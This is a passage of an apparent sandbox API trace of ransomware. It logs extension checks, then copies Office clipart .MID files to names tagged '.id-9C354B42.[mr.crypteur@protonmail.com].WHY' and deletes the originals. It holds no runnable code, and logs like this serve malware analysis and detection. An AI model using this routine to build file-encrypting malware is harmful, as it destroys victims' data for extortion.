[0236.500] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0236.500] lstrlenW (lpString=".7z") returned 3 [0236.500] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0236.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 63 [0236.500] lstrlenW (lpString=".dbf") returned 4 [0236.500] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0236.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 63 [0236.500] lstrlenW (lpString=".1cd") returned 4 [0236.500] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0236.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 63 [0236.500] lstrlenW (lpString=".jpg") returned 4 [0236.500] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0236.501] lstrcmpiW (lpString1=".MID", lpString2=".WHY") returned -1 [0236.501] lstrlenW (lpString="OUTDR_01.MID") returned 12 [0236.501] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OUTDR_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\outdr_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0236.505] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x2f2ff1c | out: lpFileSize=0x2f2ff1c*=6644) returned 1 [0236.505] CloseHandle (hObject=0x38c) returned 1 [0236.505] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OUTDR_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\outdr_01.mid")) returned 0x20 [0236.506] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OUTDR_01.MID.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\outdr_01.mid.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0236.506] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OUTDR_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\outdr_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0236.506] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec8 | out: lpNewFilePointer=0x0) returned 1 [0236.506] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec8 | out: lpNewFilePointer=0x0) returned 1 [0236.507] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OUTDR_01.MID.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\outdr_01.mid.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0236.507] GetLastError () returned 0x0 [0236.507] ReadFile (in: hFile=0x38c, lpBuffer=0x3a00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a00020*, lpNumberOfBytesRead=0x2f2fed4*=0x19f4, lpOverlapped=0x0) returned 1 [0236.512] WriteFile (in: hFile=0x39c, lpBuffer=0x3a00020*, nNumberOfBytesToWrite=0x1a00, lpNumberOfBytesWritten=0x2f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a00020*, lpNumberOfBytesWritten=0x2f2fc9c*=0x1a00, lpOverlapped=0x0) returned 1 [0236.515] ReadFile (in: hFile=0x38c, lpBuffer=0x3a00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a00020*, lpNumberOfBytesRead=0x2f2fed4*=0x0, lpOverlapped=0x0) returned 1 [0236.515] WriteFile (in: hFile=0x39c, lpBuffer=0x3a00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a00020*, lpNumberOfBytesWritten=0x2f2fc9c*=0xec, lpOverlapped=0x0) returned 1 [0236.515] SetEndOfFile (hFile=0x39c) returned 1 [0236.516] CloseHandle (hObject=0x39c) returned 1 [0236.518] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec8 | out: lpNewFilePointer=0x0) returned 1 [0236.518] SetEndOfFile (hFile=0x38c) returned 1 [0238.474] CloseHandle (hObject=0x38c) returned 1 [0238.475] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OUTDR_01.MID.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x20) returned 1 [0238.477] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OUTDR_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\outdr_01.mid")) returned 1 [0238.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 63 [0238.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 63 [0238.479] lstrlenW (lpString=".doc") returned 4 [0238.479] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0238.479] lstrlenW (lpString=".docx") returned 5 [0238.479] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0238.479] lstrlenW (lpString=".pdf") returned 4 [0238.479] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0238.479] lstrlenW (lpString=".xls") returned 4 [0238.479] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0238.479] lstrlenW (lpString=".xlsx") returned 5 [0238.479] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0238.480] lstrlenW (lpString=".ppt") returned 4 [0238.480] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0238.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 63 [0238.480] lstrlenW (lpString=".zip") returned 4 [0238.480] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0238.480] lstrlenW (lpString=".rar") returned 4 [0238.480] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0238.480] lstrlenW (lpString=".bz2") returned 4 [0238.480] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0238.480] lstrlenW (lpString=".7z") returned 3 [0238.480] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0238.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 63 [0238.480] lstrlenW (lpString=".dbf") returned 4 [0238.480] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0238.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 63 [0238.481] lstrlenW (lpString=".1cd") returned 4 [0238.481] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0238.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 63 [0238.481] lstrlenW (lpString=".jpg") returned 4 [0238.481] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0238.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 63 [0238.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 63 [0238.481] lstrlenW (lpString=".doc") returned 4 [0238.481] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0238.481] lstrlenW (lpString=".docx") returned 5 [0238.482] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0238.482] lstrlenW (lpString=".pdf") returned 4 [0238.482] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0238.482] lstrlenW (lpString=".xls") returned 4 [0238.482] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0238.482] lstrlenW (lpString=".xlsx") returned 5 [0238.482] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0238.482] lstrlenW (lpString=".ppt") returned 4 [0238.482] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0238.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 63 [0238.482] lstrlenW (lpString=".zip") returned 4 [0238.482] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0238.482] lstrlenW (lpString=".rar") returned 4 [0238.482] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0238.482] lstrlenW (lpString=".bz2") returned 4 [0238.483] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0238.483] lstrlenW (lpString=".7z") returned 3 [0238.483] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0238.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 63 [0238.483] lstrlenW (lpString=".dbf") returned 4 [0238.483] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0238.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 63 [0238.483] lstrlenW (lpString=".1cd") returned 4 [0238.483] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0238.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 63 [0238.483] lstrlenW (lpString=".jpg") returned 4 [0238.483] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0238.484] lstrcmpiW (lpString1=".MID", lpString2=".WHY") returned -1 [0238.484] lstrlenW (lpString="PAPER_01.MID") returned 12 [0238.484] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\paper_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0238.485] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x2f2ff1c | out: lpFileSize=0x2f2ff1c*=6763) returned 1 [0238.486] CloseHandle (hObject=0x38c) returned 1 [0238.486] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\paper_01.mid")) returned 0x20 [0238.486] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\paper_01.mid.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0238.486] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\paper_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0238.488] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec8 | out: lpNewFilePointer=0x0) returned 1 [0238.488] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec8 | out: lpNewFilePointer=0x0) returned 1 [0238.488] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\paper_01.mid.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0240.376] GetLastError () returned 0x0 [0240.376] ReadFile (in: hFile=0x38c, lpBuffer=0x3a00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a00020*, lpNumberOfBytesRead=0x2f2fed4*=0x1a6b, lpOverlapped=0x0) returned 1 [0240.414] WriteFile (in: hFile=0x3a4, lpBuffer=0x3a00020*, nNumberOfBytesToWrite=0x1a70, lpNumberOfBytesWritten=0x2f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a00020*, lpNumberOfBytesWritten=0x2f2fc9c*=0x1a70, lpOverlapped=0x0) returned 1 [0240.417] ReadFile (in: hFile=0x38c, lpBuffer=0x3a00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a00020*, lpNumberOfBytesRead=0x2f2fed4*=0x0, lpOverlapped=0x0) returned 1 [0240.417] WriteFile (in: hFile=0x3a4, lpBuffer=0x3a00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a00020*, lpNumberOfBytesWritten=0x2f2fc9c*=0xec, lpOverlapped=0x0) returned 1 [0240.417] SetEndOfFile (hFile=0x3a4) returned 1 [0240.418] CloseHandle (hObject=0x3a4) returned 1 [0240.422] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec8 | out: lpNewFilePointer=0x0) returned 1 [0240.422] SetEndOfFile (hFile=0x38c) returned 1 [0240.429] CloseHandle (hObject=0x38c) returned 1 [0240.430] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x20) returned 1 [0241.523] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\paper_01.mid")) returned 1 [0242.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 63 [0242.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 63 [0242.107] lstrlenW (lpString=".doc") returned 4 [0242.107] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0242.107] lstrlenW (lpString=".docx") returned 5 [0242.107] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0242.107] lstrlenW (lpString=".pdf") returned 4 [0242.107] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0242.107] lstrlenW (lpString=".xls") returned 4 [0242.107] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0242.107] lstrlenW (lpString=".xlsx") returned 5 [0242.107] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0242.108] lstrlenW (lpString=".ppt") returned 4 [0242.108] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0242.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 63 [0242.108] lstrlenW (lpString=".zip") returned 4 [0242.108] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0242.108] lstrlenW (lpString=".rar") returned 4 [0242.108] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0242.108] lstrlenW (lpString=".bz2") returned 4 [0242.108] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0242.108] lstrlenW (lpString=".7z") returned 3 [0242.108] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0242.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 63 [0242.108] lstrlenW (lpString=".dbf") returned 4 [0242.108] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0242.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 63 [0242.109] lstrlenW (lpString=".1cd") returned 4 [0242.109] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0242.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 63 [0242.109] lstrlenW (lpString=".jpg") returned 4 [0242.109] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0242.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 63 [0242.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 63 [0242.109] lstrlenW (lpString=".doc") returned 4 [0242.109] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0242.109] lstrlenW (lpString=".docx") returned 5 [0242.109] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0242.110] lstrlenW (lpString=".pdf") returned 4 [0242.110] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0242.110] lstrlenW (lpString=".xls") returned 4 [0242.110] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0242.110] lstrlenW (lpString=".xlsx") returned 5 [0242.110] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0242.110] lstrlenW (lpString=".ppt") returned 4 [0242.110] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0242.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 63 [0242.110] lstrlenW (lpString=".zip") returned 4 [0242.110] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0242.110] lstrlenW (lpString=".rar") returned 4 [0242.111] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0242.111] lstrlenW (lpString=".bz2") returned 4 [0242.111] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0242.111] lstrlenW (lpString=".7z") returned 3 [0242.111] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0242.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 63 [0242.111] lstrlenW (lpString=".dbf") returned 4 [0242.111] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0242.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 63 [0242.111] lstrlenW (lpString=".1cd") returned 4 [0242.111] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0242.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 63 [0242.111] lstrlenW (lpString=".jpg") returned 4 [0242.111] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0242.112] lstrcmpiW (lpString1=".MID", lpString2=".WHY") returned -1 [0242.112] lstrlenW (lpString="PARNT_05.MID") returned 12 [0242.112] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_05.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_05.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0242.200] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x2f2ff1c | out: lpFileSize=0x2f2ff1c*=6020) returned 1 [0242.200] CloseHandle (hObject=0x3b0) returned 1 [0242.200] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_05.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_05.mid")) returned 0x20 [0242.270] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_05.MID.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_05.mid.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0242.279] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_05.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_05.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0242.280] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec8 | out: lpNewFilePointer=0x0) returned 1 [0242.280] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec8 | out: lpNewFilePointer=0x0) returned 1 [0242.280] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_05.MID.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_05.mid.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0242.281] GetLastError () returned 0x0 [0242.281] ReadFile (in: hFile=0x354, lpBuffer=0x3a00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a00020*, lpNumberOfBytesRead=0x2f2fed4*=0x1784, lpOverlapped=0x0) returned 1 [0242.286] WriteFile (in: hFile=0x3b0, lpBuffer=0x3a00020*, nNumberOfBytesToWrite=0x1790, lpNumberOfBytesWritten=0x2f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a00020*, lpNumberOfBytesWritten=0x2f2fc9c*=0x1790, lpOverlapped=0x0) returned 1 [0242.289] ReadFile (in: hFile=0x354, lpBuffer=0x3a00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a00020*, lpNumberOfBytesRead=0x2f2fed4*=0x0, lpOverlapped=0x0) returned 1 [0242.289] WriteFile (in: hFile=0x3b0, lpBuffer=0x3a00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a00020*, lpNumberOfBytesWritten=0x2f2fc9c*=0xec, lpOverlapped=0x0) returned 1 [0242.289] SetEndOfFile (hFile=0x3b0) returned 1 [0242.290] CloseHandle (hObject=0x3b0) returned 1 [0242.291] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec8 | out: lpNewFilePointer=0x0) returned 1 [0242.291] SetEndOfFile (hFile=0x354) returned 1 [0242.299] CloseHandle (hObject=0x354) returned 1 [0242.299] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_05.MID.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x20) returned 1 [0242.300] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_05.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_05.mid")) returned 1 [0242.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 63 [0242.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 63 [0242.301] lstrlenW (lpString=".doc") returned 4 [0242.301] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0242.301] lstrlenW (lpString=".docx") returned 5 [0242.301] lstrcmpiW (lpString1=".docx", lpString2="5.MID") returned -1 [0242.301] lstrlenW (lpString=".pdf") returned 4 [0242.301] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0242.301] lstrlenW (lpString=".xls") returned 4 [0242.302] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0242.302] lstrlenW (lpString=".xlsx") returned 5 [0242.302] lstrcmpiW (lpString1=".xlsx", lpString2="5.MID") returned -1 [0242.302] lstrlenW (lpString=".ppt") returned 4 [0242.302] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0242.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 63 [0242.302] lstrlenW (lpString=".zip") returned 4 [0242.302] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0242.302] lstrlenW (lpString=".rar") returned 4 [0242.302] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0242.302] lstrlenW (lpString=".bz2") returned 4 [0242.302] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0242.302] lstrlenW (lpString=".7z") returned 3 [0242.302] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0242.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 63 [0242.303] lstrlenW (lpString=".dbf") returned 4 [0242.303] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0242.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 63 [0242.303] lstrlenW (lpString=".1cd") returned 4 [0242.303] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0242.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 63 [0242.303] lstrlenW (lpString=".jpg") returned 4 [0242.303] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0242.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 63 [0242.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 63 [0242.304] lstrlenW (lpString=".doc") returned 4 [0242.304] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0242.304] lstrlenW (lpString=".docx") returned 5 [0242.304] lstrcmpiW (lpString1=".docx", lpString2="5.MID") returned -1 [0242.304] lstrlenW (lpString=".pdf") returned 4 [0242.304] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0242.304] lstrlenW (lpString=".xls") returned 4 [0242.304] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0242.304] lstrlenW (lpString=".xlsx") returned 5 [0242.304] lstrcmpiW (lpString1=".xlsx", lpString2="5.MID") returned -1 [0242.304] lstrlenW (lpString=".ppt") returned 4 [0242.304] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0242.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 63 [0242.304] lstrlenW (lpString=".zip") returned 4 [0242.304] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0242.305] lstrlenW (lpString=".rar") returned 4 [0242.305] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0242.305] lstrlenW (lpString=".bz2") returned 4 [0242.305] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0242.305] lstrlenW (lpString=".7z") returned 3 [0242.305] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0242.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 63 [0242.305] lstrlenW (lpString=".dbf") returned 4 [0242.305] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0242.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 63 [0242.305] lstrlenW (lpString=".1cd") returned 4 [0242.305] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0242.305] lstrlenW (lpString="C:\\Program Files\\Microsoft 